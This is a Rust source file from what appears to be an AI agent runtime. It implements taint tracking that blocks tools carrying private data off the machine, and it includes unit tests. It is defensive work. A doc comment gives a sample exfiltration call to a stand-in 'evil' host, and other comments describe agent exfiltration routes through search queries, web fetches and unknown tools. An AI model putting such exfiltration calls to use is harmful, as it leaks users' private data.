leviath_core/

taint.rs

//! Context taint tracking types for security gating.
//!
//! Every piece of data entering a context region carries a sensitivity tag.
//! When an agent attempts an outbound action, the system checks whether
//! the data flowing into that action exceeds the tool's clearance level.
//! Taint levels are deterministic - set by the runtime based on tool
//! declarations and user policy, never by model output.

use serde::{Deserialize, Serialize};
use std::fmt;

/// Sensitivity level for data in context regions.
///
/// Ordered from least to most sensitive. When compared, higher sensitivity
/// levels are "greater than" lower ones.
#[derive(Debug, Default, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
pub enum TaintLevel {
    /// Freely shareable. Web search results, public documentation, open-source code.
    Public,
    /// Work-related but not personal. Private repo code, internal docs, team discussions.
    #[default]
    Internal,
    /// Personal or highly sensitive. Calendar, messages, contacts, financial data.
    Private,
}

impl TaintLevel {
    /// Returns the numeric rank of this taint level for ordering purposes.
    fn rank(self) -> u8 {
        match self {
            TaintLevel::Public => 0,
            TaintLevel::Internal => 1,
            TaintLevel::Private => 2,
        }
    }

    /// Returns the maximum of two taint levels.
    pub fn max(self, other: TaintLevel) -> TaintLevel {
        if self >= other { self } else { other }
    }

    /// Parse a taint level from a string (case-insensitive).
    pub fn from_str_loose(s: &str) -> Option<TaintLevel> {
        match s.to_lowercase().as_str() {
            "public" => Some(TaintLevel::Public),
            "internal" => Some(TaintLevel::Internal),
            "private" => Some(TaintLevel::Private),
            _ => None,
        }
    }

    /// Returns the string representation used in TOML config.
    pub fn as_str(self) -> &'static str {
        match self {
            TaintLevel::Public => "public",
            TaintLevel::Internal => "internal",
            TaintLevel::Private => "private",
        }
    }
}

impl PartialOrd for TaintLevel {
    fn partial_cmp(&self, other: &Self) -> Option<std::cmp::Ordering> {
        Some(self.cmp(other))
    }
}

impl Ord for TaintLevel {
    fn cmp(&self, other: &Self) -> std::cmp::Ordering {
        self.rank().cmp(&other.rank())
    }
}

impl fmt::Display for TaintLevel {
    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
        f.write_str(self.as_str())
    }
}

/// Direction of a tool's data flow.
#[derive(Debug, Default, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
pub enum ToolDirection {
    /// Tool brings data into the agent (e.g., read_file, web_search).
    Inbound,
    /// Tool operates locally within the agent (e.g., write_file, ask_user).
    #[default]
    Internal,
    /// Tool sends data outside the agent (e.g., send_email, post_to_slack).
    Outbound,
}

impl ToolDirection {
    /// Parse from a string (case-insensitive).
    pub fn from_str_loose(s: &str) -> Option<ToolDirection> {
        match s.to_lowercase().as_str() {
            "inbound" => Some(ToolDirection::Inbound),
            "internal" => Some(ToolDirection::Internal),
            "outbound" => Some(ToolDirection::Outbound),
            _ => None,
        }
    }

    /// Returns the string representation used in TOML config.
    pub fn as_str(self) -> &'static str {
        match self {
            ToolDirection::Inbound => "inbound",
            ToolDirection::Internal => "internal",
            ToolDirection::Outbound => "outbound",
        }
    }
}

impl fmt::Display for ToolDirection {
    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
        f.write_str(self.as_str())
    }
}

/// Classification of a tool for taint tracking purposes.
///
/// Each tool declares its sensitivity (output taint level), direction
/// (inbound/internal/outbound), and clearance (max taint level allowed
/// for outbound operations).
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct ToolClassification {
    /// Sensitivity of the tool's output (what taint level its results carry).
    pub sensitivity: TaintLevel,
    /// Direction of data flow.
    pub direction: ToolDirection,
    /// Maximum taint level this tool can accept for outbound operations.
    /// Only meaningful when direction is Outbound.
    pub clearance: TaintLevel,
}

impl ToolClassification {
    /// Create a new tool classification.
    pub fn new(sensitivity: TaintLevel, direction: ToolDirection, clearance: TaintLevel) -> Self {
        Self {
            sensitivity,
            direction,
            clearance,
        }
    }

    /// Returns true if this tool is outbound (sends data outside the agent).
    pub fn is_outbound(&self) -> bool {
        self.direction == ToolDirection::Outbound
    }

    /// Check whether the given taint level passes this tool's gate.
    /// Returns true if the taint level is within clearance (taint <= clearance).
    /// Non-outbound tools always pass.
    pub fn check_clearance(&self, taint: TaintLevel) -> bool {
        if !self.is_outbound() {
            return true;
        }
        taint <= self.clearance
    }
}

impl Default for ToolClassification {
    fn default() -> Self {
        Self {
            sensitivity: TaintLevel::Internal,
            direction: ToolDirection::Internal,
            clearance: TaintLevel::Public,
        }
    }
}

/// Taint tracking state for a single region.
///
/// Tracks the current maximum taint level across all content in the region,
/// along with per-entry source tracking to support taint recovery on eviction.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct RegionTaint {
    /// Current maximum taint level in this region.
    current_level: TaintLevel,
    /// Per-entry taint levels, indexed in the same order as region content entries.
    entry_taints: Vec<TaintLevel>,
}

impl RegionTaint {
    /// Create a new RegionTaint defaulting to Public (no tainted data).
    pub fn new() -> Self {
        Self {
            current_level: TaintLevel::Public,
            entry_taints: Vec::new(),
        }
    }

    /// Get the current taint level of this region.
    pub fn level(&self) -> TaintLevel {
        self.current_level
    }

    /// Record that a new entry was added with the given taint level.
    /// Updates the region's current taint level if necessary.
    pub fn add_entry(&mut self, taint: TaintLevel) {
        self.entry_taints.push(taint);
        self.current_level = self.current_level.max(taint);
    }

    /// Record that the oldest entry was removed (e.g., sliding window eviction).
    /// Recomputes taint from remaining entries.
    pub fn remove_oldest(&mut self) {
        if !self.entry_taints.is_empty() {
            self.entry_taints.remove(0);
            self.recompute();
        }
    }

    /// Record that the entry at `idx` was removed.
    /// Recomputes taint from remaining entries.
    pub fn remove_at(&mut self, idx: usize) {
        if idx < self.entry_taints.len() {
            self.entry_taints.remove(idx);
            self.recompute();
        }
    }

    /// Record that all entries were cleared.
    pub fn clear(&mut self) {
        self.entry_taints.clear();
        self.current_level = TaintLevel::Public;
    }

    /// Recompute the taint level from remaining entries.
    /// Called after eviction to allow taint recovery.
    pub fn recompute(&mut self) {
        self.current_level = self
            .entry_taints
            .iter()
            .copied()
            .max()
            .unwrap_or(TaintLevel::Public);
    }

    /// Get the number of tracked entries.
    pub fn entry_count(&self) -> usize {
        self.entry_taints.len()
    }

    /// Get the taint level of a specific entry by index.
    /// Rebuild from a persisted list of per-entry taints.
    ///
    /// `current_level` is derived rather than stored, so a restored region ends
    /// up at exactly the level its entries justify - and recovers as they evict,
    /// the same as one that was never persisted.
    pub fn from_entry_taints(entry_taints: Vec<TaintLevel>) -> Self {
        let current_level = entry_taints
            .iter()
            .copied()
            .max()
            .unwrap_or(TaintLevel::Public);
        Self {
            current_level,
            entry_taints,
        }
    }

    pub fn entry_taint(&self, index: usize) -> Option<TaintLevel> {
        self.entry_taints.get(index).copied()
    }
}

impl Default for RegionTaint {
    fn default() -> Self {
        Self::new()
    }
}

/// Security configuration for taint tracking.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct SecurityConfig {
    /// Whether taint tracking is enabled.
    pub taint_tracking: bool,
}

impl Default for SecurityConfig {
    fn default() -> Self {
        // A present `[security]` block (even empty) means "configure security",
        // so the struct default is taint-on; a manifest with no block at all
        // yields `None`, which callers must resolve through
        // [`resolve_security`]/[`resolve_taint_enabled`] (default off). Do NOT
        // use `unwrap_or_default()` on an optional agent/global config - that
        // conflates "no block" with "empty block" and forces taint on
        // everywhere; cascade through the global setting instead.
        Self {
            taint_tracking: true,
        }
    }
}

/// Resolve whether taint tracking is enabled for a stage, cascading
/// stage → agent → global (default off when nothing is set).
///
/// **A blueprint can only turn taint tracking on, never off.** The stage and
/// agent configs come from `agent.leviath`, so if a manifest could set
/// `taint_tracking = false` over a user's global `true`, installing an agent
/// would be enough to disable the machine's data-flow enforcement. A manifest
/// that wants tracking when the user has it off is still honored - that
/// direction only tightens.
pub fn resolve_taint_enabled(
    global: bool,
    agent: Option<&SecurityConfig>,
    stage: Option<&SecurityConfig>,
) -> bool {
    let manifest = stage
        .map(|s| s.taint_tracking)
        .or_else(|| agent.map(|a| a.taint_tracking));
    global || manifest.unwrap_or(false)
}

/// Resolve the effective [`SecurityConfig`] for a stage: the most specific
/// present config (stage over agent), or a default whose `taint_tracking`
/// follows the global toggle when neither level configures it.
///
/// `taint_tracking` is clamped by [`resolve_taint_enabled`] so the two agree -
/// a manifest cannot disable what the user enabled.
pub fn resolve_security(
    global: bool,
    agent: Option<&SecurityConfig>,
    stage: Option<&SecurityConfig>,
) -> SecurityConfig {
    let mut resolved = match stage.or(agent) {
        Some(c) => c.clone(),
        None => SecurityConfig {
            taint_tracking: global,
        },
    };
    resolved.taint_tracking = resolve_taint_enabled(global, agent, stage);
    resolved
}

/// Resolve whether the batch-tool-calls system-prompt hint is enabled for a
/// stage, cascading stage → agent → global. A `Some(_)` at a narrower level
/// overrides broader levels; when neither the stage nor the agent sets it, the
/// global toggle (on by default) applies. (Same shape as
/// [`resolve_taint_enabled`], but the global default is on rather than off.)
pub fn resolve_batch_tool_hint(global: bool, agent: Option<bool>, stage: Option<bool>) -> bool {
    stage.or(agent).unwrap_or(global)
}

/// Result of a gate check - whether a tool invocation is allowed.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum GateDecision {
    /// Taint level is within clearance - proceed.
    Allowed,
    /// Taint level exceeds clearance - gate fires.
    Blocked {
        /// The taint level that caused the block.
        taint_level: TaintLevel,
        /// The tool's clearance level.
        clearance: TaintLevel,
        /// Names of regions contributing to the taint.
        source_regions: Vec<String>,
        /// The tool being invoked.
        tool_name: String,
    },
}

impl GateDecision {
    /// Returns true if the gate allows the action.
    pub fn is_allowed(&self) -> bool {
        matches!(self, GateDecision::Allowed)
    }

    /// For a `Blocked` decision, the `(taint_level, clearance)` that caused the
    /// block; `None` for `Allowed`.
    pub fn blocked_levels(&self) -> Option<(TaintLevel, TaintLevel)> {
        match self {
            GateDecision::Blocked {
                taint_level,
                clearance,
                ..
            } => Some((*taint_level, *clearance)),
            GateDecision::Allowed => None,
        }
    }
}

/// A single gate event for audit logging.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct GateEvent {
    /// Timestamp of the event.
    pub timestamp: i64,
    /// Agent that triggered the gate.
    pub agent_id: String,
    /// Tool being invoked.
    pub tool_name: String,
    /// Taint level at time of check.
    pub taint_level: TaintLevel,
    /// Tool's clearance level.
    pub clearance: TaintLevel,
    /// Whether the action was allowed.
    pub allowed: bool,
    /// How the decision was made.
    pub decision_source: GateDecisionSource,
}

/// How a gate decision was reached.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub enum GateDecisionSource {
    /// Taint was within clearance - automatic allow.
    AutoAllow,
    /// Taint exceeded clearance - automatic block, before any user decision.
    AutoBlock,
    /// Matched a static allowlist rule.
    AllowlistRule { rule_index: usize },
    /// Matched a scripted (Rhai) rule.
    ScriptedRule { script_name: String },
    /// User allowed once interactively.
    UserAllowOnce,
    /// User created an "always allow" rule.
    UserAlwaysAllow,
    /// User denied the action.
    UserDenied,
    /// Taint tracking is disabled - automatic allow.
    TaintDisabled,
    /// Auto-approved by `--yolo`: the gate would have blocked, but the agent
    /// runs unattended so enforcement is waived. Recorded (rather than silently
    /// skipped) so the audit trail still shows the over-cleared call.
    YoloAutoApprove,
}

/// Built-in tool classification defaults.
///
/// The taint gate only fires on tools classified [`ToolDirection::Outbound`], so
/// this table decides what data-flow enforcement can see at all. Anything that
/// can carry bytes off the machine must be outbound: marking **only**
/// `shell`/`bash` would let a Private-tainted context be exfiltrated by
/// `web_fetch("https://evil/?d=<secret>")` with taint tracking fully enabled -
/// along with any MCP tool and any script tool, which an internal/internal
/// fallback would never gate.
///
/// The fallback for an *unknown* tool is outbound too. An unrecognized tool is
/// usually an MCP or script tool - third-party code reaching a third-party
/// service - so an internal default would assume the safest case about the
/// least-known code. Failing closed costs a prompt; failing open costs the data.
pub fn builtin_tool_classification(tool_name: &str) -> ToolClassification {
    match tool_name {
        "read_file" => ToolClassification::new(
            TaintLevel::Internal,
            ToolDirection::Inbound,
            TaintLevel::Public,
        ),
        "write_file" => ToolClassification::new(
            TaintLevel::Internal,
            ToolDirection::Internal,
            TaintLevel::Public,
        ),
        "edit_file" => ToolClassification::new(
            TaintLevel::Internal,
            ToolDirection::Internal,
            TaintLevel::Public,
        ),
        "list_dir" => ToolClassification::new(
            TaintLevel::Internal,
            ToolDirection::Inbound,
            TaintLevel::Public,
        ),
        "shell" | "bash" => ToolClassification::new(
            TaintLevel::Public,
            ToolDirection::Outbound,
            TaintLevel::Public,
        ),
        // `web_search` sends a *query* the model wrote, so it is not purely
        // inbound: the query itself is a channel out. Classified outbound so a
        // Private context cannot be smuggled into a search string.
        "web_search" | "web_fetch" | "http_get" | "http_post" | "fetch" => ToolClassification::new(
            TaintLevel::Public,
            ToolDirection::Outbound,
            TaintLevel::Public,
        ),
        "ask_user_text" | "ask_user_choice" | "ask_user_confirm" | "present_for_review" => {
            ToolClassification::new(
                TaintLevel::Internal,
                ToolDirection::Internal,
                TaintLevel::Public,
            )
        }
        "spawn_agent" | "check_agent" | "wait_for_agent" | "send_to_agent" | "kill_agent" => {
            ToolClassification::new(
                TaintLevel::Internal,
                ToolDirection::Internal,
                TaintLevel::Public,
            )
        }
        // An unknown tool is almost always an MCP or Rhai script tool:
        // third-party code, usually talking to a third-party service. Treat it
        // as outbound so the gate sees it. `ToolClassification::default()` -
        // internal/internal - assumed the safest case about the least-known
        // code, and left every MCP and script tool ungated.
        _ => ToolClassification::new(
            TaintLevel::Public,
            ToolDirection::Outbound,
            TaintLevel::Public,
        ),
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    /// Taint was not persisted at all, so every restart, resume or page-in
    /// brought a region back `Public` while the gate reported itself armed -
    /// silently unblocking outbound tools it had been blocking.
    #[test]
    fn taint_rebuilds_from_persisted_entries_at_the_highest_level() {
        let restored = RegionTaint::from_entry_taints(vec![
            TaintLevel::Public,
            TaintLevel::Private,
            TaintLevel::Internal,
        ]);
        assert_eq!(restored.level(), TaintLevel::Private);
        assert_eq!(restored.entry_taint(1), Some(TaintLevel::Private));

        // An empty region is Public, which is also what an older snapshot with
        // no taint field restores as.
        assert_eq!(
            RegionTaint::from_entry_taints(Vec::new()).level(),
            TaintLevel::Public
        );
    }

    // ─── TaintLevel ─────────────────────────────────────────────────────────

    #[test]
    fn taint_level_ordering() {
        assert!(TaintLevel::Public < TaintLevel::Internal);
        assert!(TaintLevel::Internal < TaintLevel::Private);
        assert!(TaintLevel::Public < TaintLevel::Private);
    }

    #[test]
    fn taint_level_equality() {
        assert_eq!(TaintLevel::Public, TaintLevel::Public);
        assert_eq!(TaintLevel::Internal, TaintLevel::Internal);
        assert_eq!(TaintLevel::Private, TaintLevel::Private);
        assert_ne!(TaintLevel::Public, TaintLevel::Private);
    }

    #[test]
    fn taint_level_max() {
        assert_eq!(
            TaintLevel::Public.max(TaintLevel::Internal),
            TaintLevel::Internal
        );
        assert_eq!(
            TaintLevel::Private.max(TaintLevel::Public),
            TaintLevel::Private
        );
        assert_eq!(
            TaintLevel::Internal.max(TaintLevel::Internal),
            TaintLevel::Internal
        );
    }

    #[test]
    fn taint_level_default_is_internal() {
        assert_eq!(TaintLevel::default(), TaintLevel::Internal);
    }

    #[test]
    fn taint_level_display() {
        assert_eq!(format!("{}", TaintLevel::Public), "public");
        assert_eq!(format!("{}", TaintLevel::Internal), "internal");
        assert_eq!(format!("{}", TaintLevel::Private), "private");
    }

    #[test]
    fn taint_level_from_str_loose() {
        assert_eq!(
            TaintLevel::from_str_loose("public"),
            Some(TaintLevel::Public)
        );
        assert_eq!(
            TaintLevel::from_str_loose("INTERNAL"),
            Some(TaintLevel::Internal)
        );
        assert_eq!(
            TaintLevel::from_str_loose("Private"),
            Some(TaintLevel::Private)
        );
        assert_eq!(TaintLevel::from_str_loose("unknown"), None);
    }

    #[test]
    fn taint_level_as_str() {
        assert_eq!(TaintLevel::Public.as_str(), "public");
        assert_eq!(TaintLevel::Internal.as_str(), "internal");
        assert_eq!(TaintLevel::Private.as_str(), "private");
    }

    #[test]
    fn taint_level_serde_roundtrip() {
        for level in [
            TaintLevel::Public,
            TaintLevel::Internal,
            TaintLevel::Private,
        ] {
            let json = serde_json::to_string(&level).unwrap();
            let back: TaintLevel = serde_json::from_str(&json).unwrap();
            assert_eq!(level, back);
        }
    }

    #[test]
    fn taint_level_hash() {
        use std::collections::HashSet;
        let mut set = HashSet::new();
        set.insert(TaintLevel::Public);
        set.insert(TaintLevel::Internal);
        set.insert(TaintLevel::Private);
        set.insert(TaintLevel::Public); // duplicate
        assert_eq!(set.len(), 3);
    }

    // ─── ToolDirection ──────────────────────────────────────────────────────

    #[test]
    fn tool_direction_from_str_loose() {
        assert_eq!(
            ToolDirection::from_str_loose("inbound"),
            Some(ToolDirection::Inbound)
        );
        assert_eq!(
            ToolDirection::from_str_loose("OUTBOUND"),
            Some(ToolDirection::Outbound)
        );
        assert_eq!(
            ToolDirection::from_str_loose("Internal"),
            Some(ToolDirection::Internal)
        );
        assert_eq!(ToolDirection::from_str_loose("nope"), None);
    }

    #[test]
    fn tool_direction_default_is_internal() {
        assert_eq!(ToolDirection::default(), ToolDirection::Internal);
    }

    #[test]
    fn tool_direction_display() {
        assert_eq!(format!("{}", ToolDirection::Inbound), "inbound");
        assert_eq!(format!("{}", ToolDirection::Internal), "internal");
        assert_eq!(format!("{}", ToolDirection::Outbound), "outbound");
    }

    #[test]
    fn tool_direction_serde_roundtrip() {
        for dir in [
            ToolDirection::Inbound,
            ToolDirection::Internal,
            ToolDirection::Outbound,
        ] {
            let json = serde_json::to_string(&dir).unwrap();
            let back: ToolDirection = serde_json::from_str(&json).unwrap();
            assert_eq!(dir, back);
        }
    }

    // ─── ToolClassification ────────────────────────────────────────────────

    #[test]
    fn tool_classification_default() {
        let tc = ToolClassification::default();
        assert_eq!(tc.sensitivity, TaintLevel::Internal);
        assert_eq!(tc.direction, ToolDirection::Internal);
        assert_eq!(tc.clearance, TaintLevel::Public);
    }

    #[test]
    fn tool_classification_outbound_check() {
        let tc = ToolClassification::new(
            TaintLevel::Public,
            ToolDirection::Outbound,
            TaintLevel::Internal,
        );
        assert!(tc.is_outbound());
        assert!(tc.check_clearance(TaintLevel::Public));
        assert!(tc.check_clearance(TaintLevel::Internal));
        assert!(!tc.check_clearance(TaintLevel::Private));
    }

    #[test]
    fn tool_classification_non_outbound_always_passes() {
        let tc = ToolClassification::new(
            TaintLevel::Private,
            ToolDirection::Inbound,
            TaintLevel::Public, // clearance is irrelevant for non-outbound
        );
        assert!(!tc.is_outbound());
        assert!(tc.check_clearance(TaintLevel::Private));
    }

    #[test]
    fn tool_classification_serde_roundtrip() {
        let tc = ToolClassification::new(
            TaintLevel::Private,
            ToolDirection::Outbound,
            TaintLevel::Internal,
        );
        let json = serde_json::to_string(&tc).unwrap();
        let back: ToolClassification = serde_json::from_str(&json).unwrap();
        assert_eq!(tc, back);
    }

    // ─── RegionTaint ───────────────────────────────────────────────────────

    #[test]
    fn region_taint_starts_public() {
        let rt = RegionTaint::new();
        assert_eq!(rt.level(), TaintLevel::Public);
        assert_eq!(rt.entry_count(), 0);
    }

    #[test]
    fn region_taint_add_entry_raises_level() {
        let mut rt = RegionTaint::new();
        rt.add_entry(TaintLevel::Internal);
        assert_eq!(rt.level(), TaintLevel::Internal);
        rt.add_entry(TaintLevel::Private);
        assert_eq!(rt.level(), TaintLevel::Private);
    }

    #[test]
    fn region_taint_add_public_doesnt_lower() {
        let mut rt = RegionTaint::new();
        rt.add_entry(TaintLevel::Private);
        rt.add_entry(TaintLevel::Public);
        assert_eq!(rt.level(), TaintLevel::Private);
    }

    #[test]
    fn region_taint_remove_oldest_recovers() {
        let mut rt = RegionTaint::new();
        rt.add_entry(TaintLevel::Private);
        rt.add_entry(TaintLevel::Public);
        assert_eq!(rt.level(), TaintLevel::Private);

        rt.remove_oldest(); // removes Private entry
        assert_eq!(rt.level(), TaintLevel::Public);
    }

    #[test]
    fn region_taint_remove_oldest_empty() {
        let mut rt = RegionTaint::new();
        rt.remove_oldest(); // no-op
        assert_eq!(rt.level(), TaintLevel::Public);
    }

    #[test]
    fn region_taint_clear() {
        let mut rt = RegionTaint::new();
        rt.add_entry(TaintLevel::Private);
        rt.add_entry(TaintLevel::Internal);
        rt.clear();
        assert_eq!(rt.level(), TaintLevel::Public);
        assert_eq!(rt.entry_count(), 0);
    }

    #[test]
    fn region_taint_recompute() {
        let mut rt = RegionTaint::new();
        rt.add_entry(TaintLevel::Private);
        rt.add_entry(TaintLevel::Internal);
        rt.add_entry(TaintLevel::Public);
        assert_eq!(rt.entry_count(), 3);

        // Simulate eviction of first entry
        rt.remove_oldest();
        assert_eq!(rt.level(), TaintLevel::Internal);
        assert_eq!(rt.entry_count(), 2);
    }

    #[test]
    fn region_taint_entry_taint() {
        let mut rt = RegionTaint::new();
        rt.add_entry(TaintLevel::Public);
        rt.add_entry(TaintLevel::Private);
        assert_eq!(rt.entry_taint(0), Some(TaintLevel::Public));
        assert_eq!(rt.entry_taint(1), Some(TaintLevel::Private));
        assert_eq!(rt.entry_taint(2), None);
    }

    #[test]
    fn region_taint_default() {
        let rt = RegionTaint::default();
        assert_eq!(rt.level(), TaintLevel::Public);
    }

    #[test]
    fn region_taint_serde_roundtrip() {
        let mut rt = RegionTaint::new();
        rt.add_entry(TaintLevel::Internal);
        rt.add_entry(TaintLevel::Private);
        let json = serde_json::to_string(&rt).unwrap();
        let back: RegionTaint = serde_json::from_str(&json).unwrap();
        assert_eq!(back.level(), TaintLevel::Private);
        assert_eq!(back.entry_count(), 2);
    }

    // ─── SecurityConfig ─────────────────────────────────────────────────────

    #[test]
    fn security_config_default() {
        let sc = SecurityConfig::default();
        assert!(sc.taint_tracking);
    }

    #[test]
    fn security_config_serde_roundtrip() {
        let sc = SecurityConfig {
            taint_tracking: false,
        };
        let json = serde_json::to_string(&sc).unwrap();
        let back: SecurityConfig = serde_json::from_str(&json).unwrap();
        assert!(!back.taint_tracking);
    }

    // ─── GateDecision ───────────────────────────────────────────────────────

    #[test]
    fn gate_decision_allowed() {
        let d = GateDecision::Allowed;
        assert!(d.is_allowed());
    }

    #[test]
    fn gate_decision_blocked() {
        let d = GateDecision::Blocked {
            taint_level: TaintLevel::Private,
            clearance: TaintLevel::Public,
            source_regions: vec!["conversation".into()],
            tool_name: "send_email".into(),
        };
        assert!(!d.is_allowed());
    }

    // ─── GateEvent ──────────────────────────────────────────────────────────

    #[test]
    fn gate_event_serde_roundtrip() {
        let event = GateEvent {
            timestamp: 1234567890,
            agent_id: "agent-1".into(),
            tool_name: "send_email".into(),
            taint_level: TaintLevel::Private,
            clearance: TaintLevel::Public,
            allowed: false,
            decision_source: GateDecisionSource::UserDenied,
        };
        let json = serde_json::to_string(&event).unwrap();
        let back: GateEvent = serde_json::from_str(&json).unwrap();
        assert_eq!(back.agent_id, "agent-1");
        assert!(!back.allowed);
    }

    #[test]
    fn gate_decision_source_variants() {
        let sources = vec![
            GateDecisionSource::AutoAllow,
            GateDecisionSource::AllowlistRule { rule_index: 0 },
            GateDecisionSource::ScriptedRule {
                script_name: "test.rhai".into(),
            },
            GateDecisionSource::UserAllowOnce,
            GateDecisionSource::UserAlwaysAllow,
            GateDecisionSource::UserDenied,
            GateDecisionSource::TaintDisabled,
        ];
        for src in sources {
            let json = serde_json::to_string(&src).unwrap();
            let back: GateDecisionSource = serde_json::from_str(&json).unwrap();
            assert_eq!(src, back);
        }
    }

    // ─── Built-in tool classifications ──────────────────────────────────────

    #[test]
    fn builtin_read_file_classification() {
        let tc = builtin_tool_classification("read_file");
        assert_eq!(tc.sensitivity, TaintLevel::Internal);
        assert_eq!(tc.direction, ToolDirection::Inbound);
    }

    #[test]
    fn builtin_shell_classification() {
        let tc = builtin_tool_classification("shell");
        assert_eq!(tc.sensitivity, TaintLevel::Public);
        assert_eq!(tc.direction, ToolDirection::Outbound);
        assert_eq!(tc.clearance, TaintLevel::Public);

        // bash alias
        let tc2 = builtin_tool_classification("bash");
        assert_eq!(tc2.direction, ToolDirection::Outbound);
    }

    /// Every tool that can carry bytes off the machine is outbound, which is
    /// the only direction the gate inspects. `web_search` counts: the *query*
    /// is model-written, so it is a channel out even though the results come
    /// back in. Previously only `shell`/`bash` were outbound, so a Private
    /// context could be exfiltrated through any of these with taint tracking
    /// fully enabled.
    #[test]
    fn network_capable_tools_are_outbound() {
        for name in ["web_search", "web_fetch", "http_get", "http_post", "fetch"] {
            let tc = builtin_tool_classification(name);
            assert_eq!(tc.sensitivity, TaintLevel::Public, "{name}");
            assert_eq!(tc.direction, ToolDirection::Outbound, "{name}");
        }
    }

    #[test]
    fn builtin_ask_user_classification() {
        for name in [
            "ask_user_text",
            "ask_user_choice",
            "ask_user_confirm",
            "present_for_review",
        ] {
            let tc = builtin_tool_classification(name);
            assert_eq!(tc.direction, ToolDirection::Internal);
        }
    }

    #[test]
    fn builtin_subagent_classification() {
        for name in [
            "spawn_agent",
            "check_agent",
            "wait_for_agent",
            "send_to_agent",
            "kill_agent",
        ] {
            let tc = builtin_tool_classification(name);
            assert_eq!(tc.direction, ToolDirection::Internal);
        }
    }

    #[test]
    fn builtin_write_file_classification() {
        let tc = builtin_tool_classification("write_file");
        assert_eq!(tc.direction, ToolDirection::Internal);
    }

    /// An unknown tool is almost always MCP or a Rhai script - third-party code
    /// talking to a third-party service. It fails closed. The old default was
    /// internal/internal, which assumed the safest case about the least-known
    /// code and left every MCP and script tool ungated.
    #[test]
    fn unknown_tools_fail_closed_as_outbound() {
        let tc = builtin_tool_classification("some_mcp_tool");
        assert_eq!(tc.sensitivity, TaintLevel::Public);
        assert_eq!(tc.direction, ToolDirection::Outbound);
        assert_eq!(tc.clearance, TaintLevel::Public);
    }

    #[test]
    fn builtin_edit_file_classification() {
        let tc = builtin_tool_classification("edit_file");
        assert_eq!(tc.sensitivity, TaintLevel::Internal);
        assert_eq!(tc.direction, ToolDirection::Internal);
        assert_eq!(tc.clearance, TaintLevel::Public);
    }

    #[test]
    fn builtin_list_dir_classification() {
        let tc = builtin_tool_classification("list_dir");
        assert_eq!(tc.sensitivity, TaintLevel::Internal);
        assert_eq!(tc.direction, ToolDirection::Inbound);
        assert_eq!(tc.clearance, TaintLevel::Public);
    }

    // ─── resolve_taint_enabled / resolve_security cascade ───────────────────

    fn sec(taint: bool) -> SecurityConfig {
        SecurityConfig {
            taint_tracking: taint,
        }
    }

    #[test]
    fn resolve_taint_enabled_inherits_global_when_unset() {
        assert!(!resolve_taint_enabled(false, None, None));
        assert!(resolve_taint_enabled(true, None, None));
    }

    #[test]
    fn resolve_taint_enabled_agent_may_opt_in_but_not_out() {
        // Global off, agent opts in - honored, that only tightens.
        assert!(resolve_taint_enabled(false, Some(&sec(true)), None));
        // Global on, agent tries to opt out - refused. `agent.leviath` is a
        // downloaded file; letting it disable the machine's data-flow
        // enforcement made taint tracking opt-out-by-installing-an-agent.
        assert!(resolve_taint_enabled(true, Some(&sec(false)), None));
    }

    #[test]
    fn resolve_taint_enabled_stage_may_opt_in_but_not_out() {
        // Stage opt-in beats agent opt-out and global off.
        assert!(resolve_taint_enabled(
            false,
            Some(&sec(false)),
            Some(&sec(true))
        ));
        // A stage opt-out cannot override the user's global on.
        assert!(resolve_taint_enabled(
            true,
            Some(&sec(true)),
            Some(&sec(false))
        ));
    }

    #[test]
    fn resolve_batch_tool_hint_cascade() {
        // Nothing set at narrower levels → inherit the global toggle (on default).
        assert!(resolve_batch_tool_hint(true, None, None));
        assert!(!resolve_batch_tool_hint(false, None, None));
        // Agent override beats global (both directions).
        assert!(!resolve_batch_tool_hint(true, Some(false), None));
        assert!(resolve_batch_tool_hint(false, Some(true), None));
        // Stage override beats agent and global (both directions).
        assert!(!resolve_batch_tool_hint(true, Some(true), Some(false)));
        assert!(resolve_batch_tool_hint(false, Some(false), Some(true)));
    }

    #[test]
    fn gate_decision_blocked_levels() {
        let blocked = GateDecision::Blocked {
            taint_level: TaintLevel::Private,
            clearance: TaintLevel::Public,
            source_regions: vec![],
            tool_name: "shell".into(),
        };
        assert_eq!(
            blocked.blocked_levels(),
            Some((TaintLevel::Private, TaintLevel::Public))
        );
        assert_eq!(GateDecision::Allowed.blocked_levels(), None);
    }

    #[test]
    fn resolve_security_prefers_most_specific_but_clamps_taint() {
        // Neither set → default whose taint_tracking follows global.
        assert!(resolve_security(true, None, None).taint_tracking);
        assert!(!resolve_security(false, None, None).taint_tracking);
        // Stage present → wins over agent for opting *in*.
        assert!(resolve_security(false, Some(&sec(false)), Some(&sec(true))).taint_tracking);
        // An agent opt-out cannot beat the user's global on - `resolve_security`
        // agrees with `resolve_taint_enabled` rather than disagreeing with it.
        assert!(resolve_security(true, Some(&sec(false)), None).taint_tracking);
    }

    #[test]
    fn test_region_taint_remove_at_recomputes_level() {
        let mut rt = RegionTaint::new();
        rt.add_entry(TaintLevel::Public);
        rt.add_entry(TaintLevel::Private);
        rt.add_entry(TaintLevel::Public);
        assert_eq!(rt.level(), TaintLevel::Private);

        // Removing the Private entry at index 1 recomputes the level down.
        rt.remove_at(1);
        assert_eq!(rt.entry_count(), 2);
        assert_eq!(rt.level(), TaintLevel::Public);

        // An out-of-range index is a no-op.
        rt.remove_at(99);
        assert_eq!(rt.entry_count(), 2);
    }
}